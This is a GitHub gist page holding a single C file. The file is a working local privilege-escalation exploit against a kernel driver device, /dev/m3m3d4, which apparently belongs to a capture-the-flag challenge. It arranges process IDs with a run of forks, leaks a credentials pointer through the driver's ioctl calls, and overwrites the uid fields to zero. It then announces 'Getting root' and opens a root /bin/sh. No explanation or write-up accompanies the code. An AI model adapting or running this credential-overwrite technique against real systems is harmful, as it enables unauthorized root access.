Skip to content

Instantly share code, notes, and snippets.

/memeda.c Secret
Created Mar 15, 2016

Embed
What would you like to do?
config
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <signal.h>
void *do_ioctl(int fd, int num, pid_t pid, unsigned int arg1, unsigned int arg2);
int child();
int child2();
int child3();
struct user_buf
{
unsigned int len;
void *ptr;
};
struct ioctl_req
{
pid_t pid;
unsigned int arg1;
unsigned int arg2;
};
int main(int argc, char **argv)
{
pid_t pid, mypid, child2_pid, pid_tmp, child3_pid;
char buf[10000];
char buf2[10000];
char zerobuf[10000];
int child_status;
unsigned int creds_ptr;
unsigned int user_buf_ptr;
unsigned int cmd_ptr;
struct user_buf user_buf1;
memset(buf2, 0, 10000);
memset(zerobuf, 0, 10000);
mypid = getpid();
pid = fork();
if (pid < 0) {
printf("fork fail\n");
return 1;
}
if (!pid)
return child();
child2_pid = pid + 1447;
printf("Parent pid: %d, child: %d, generating %d\n", mypid, pid, child2_pid);
while(pid_tmp < (child2_pid - 1))
{
pid_tmp = fork();
if (pid_tmp < 0) {
printf("fork2 fail\n");
return 1;
}
if (!pid_tmp)
return 0;
waitpid(pid_tmp, child_status, 0);
}
pid_tmp = fork();
if (pid_tmp < 0) {
printf("fork3 fail\n");
return 1;
}
if (!pid_tmp)
return child2();
printf("Got 2nd child:%d\n", pid_tmp);
child3_pid = fork();
if (child3_pid < 0) {
printf("child3 fork fail\n");
return 1;
}
if (!child3_pid)
return child3();
printf("3rd child created: %d\n", child3_pid);
int fd = open("/dev/m3m3d4", O_RDWR);
if (fd < 0) {
printf("Error opening fd\n");
return 1;
}
do_ioctl(fd, 1340, pid, (unsigned int) buf, (unsigned int) NULL);
printf("uid:%d\n", *((unsigned int *) (buf+4)));
sleep(2);
wait(&child_status);
printf("ioctl 1339 result:%d\n", ioctl(fd, 1339, pid));
printf("Storing main process data...\n");
memset(buf, 0, 16);
*((pid_t *) buf) = child2_pid;
do_ioctl(fd, 1343, mypid, 16, (unsigned int) buf);
printf("Updating 2nd child info to set creds pointer...\n");
printf("ioctl 1339 result:%d\n", ioctl(fd, 1339, child2_pid));
printf("Getting 2nd child pid ...\n");
do_ioctl(fd, 1340, child2_pid, (unsigned int) buf, (unsigned int) NULL);
printf("uid:%d\n", *((unsigned int *) (buf+4)));
printf("Setting child2 data to allocate user data ptr ...\n");
do_ioctl(fd, 1343, child2_pid, 8, (unsigned int) zerobuf);
printf("Reading data ...\n");
do_ioctl(fd, 1342, mypid, (unsigned int) buf2, 0);
cmd_ptr = *((unsigned int *) (buf2+8));
creds_ptr = *((unsigned int *) (buf2+12));
user_buf_ptr = *((unsigned int *) (buf2+16));
printf("Got creds ptr:0x%08x\n", creds_ptr);
printf("Got user data ptr:0x%08x\n", user_buf_ptr);
user_buf1.len = 32;
user_buf1.ptr = (void *) creds_ptr + 4;
printf("Setting child3 data ...\n");
do_ioctl(fd, 1343, child3_pid, 8, (unsigned int) &user_buf1);
printf("Storing main process data to set final dst user data ptr...\n");
memset(buf, 0, 16);
*((pid_t *) buf) = child2_pid;
*((unsigned int *) (buf + 4)) = cmd_ptr;
*((unsigned int *) (buf + 8)) = creds_ptr;
// crafted struct addr
*((unsigned int *) (buf + 12)) = user_buf_ptr + 8;
do_ioctl(fd, 1343, mypid, 16, (unsigned int) buf);
printf("Getting root ...\n");
do_ioctl(fd, 1343, child2_pid, 32, (unsigned int) zerobuf);
printf("Checking 2nd child uid ...\n");
memset(buf, 0, 16);
do_ioctl(fd, 1340, child2_pid, (unsigned int) buf, (unsigned int) NULL);
printf("uid:%d\n", *((unsigned int *) (buf+4)));
kill(child2_pid, SIGCONT);
waitpid(child2_pid, &child_status, 0);
}
void *do_ioctl(int fd, int num, pid_t pid, unsigned int arg1, unsigned int arg2)
{
struct ioctl_req req;
int res;
req.pid = pid;
req.arg1 = arg1;
req.arg2 = arg2;
res = ioctl(fd, num, &req);
printf("ioctl %d result:%d\n", num, res);
}
int child()
{
sleep(1);
return 0;
}
int child2()
{
pid_t pid = getpid();
kill(pid, SIGSTOP);
system("/bin/sh");
}
int child3()
{
pid_t pid = getpid();
kill(pid, SIGSTOP);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.